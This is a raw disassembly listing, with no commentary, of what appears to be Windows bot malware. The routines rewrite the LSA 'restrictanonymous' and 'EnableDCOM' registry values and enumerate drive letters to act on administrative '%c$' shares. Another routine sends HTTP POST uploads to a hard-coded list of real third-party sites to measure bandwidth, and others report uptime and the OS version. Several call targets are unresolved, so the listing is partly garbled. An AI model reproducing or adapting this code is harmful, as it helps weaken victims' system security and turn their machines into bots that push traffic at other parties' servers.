		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 28507A1h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A07AFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



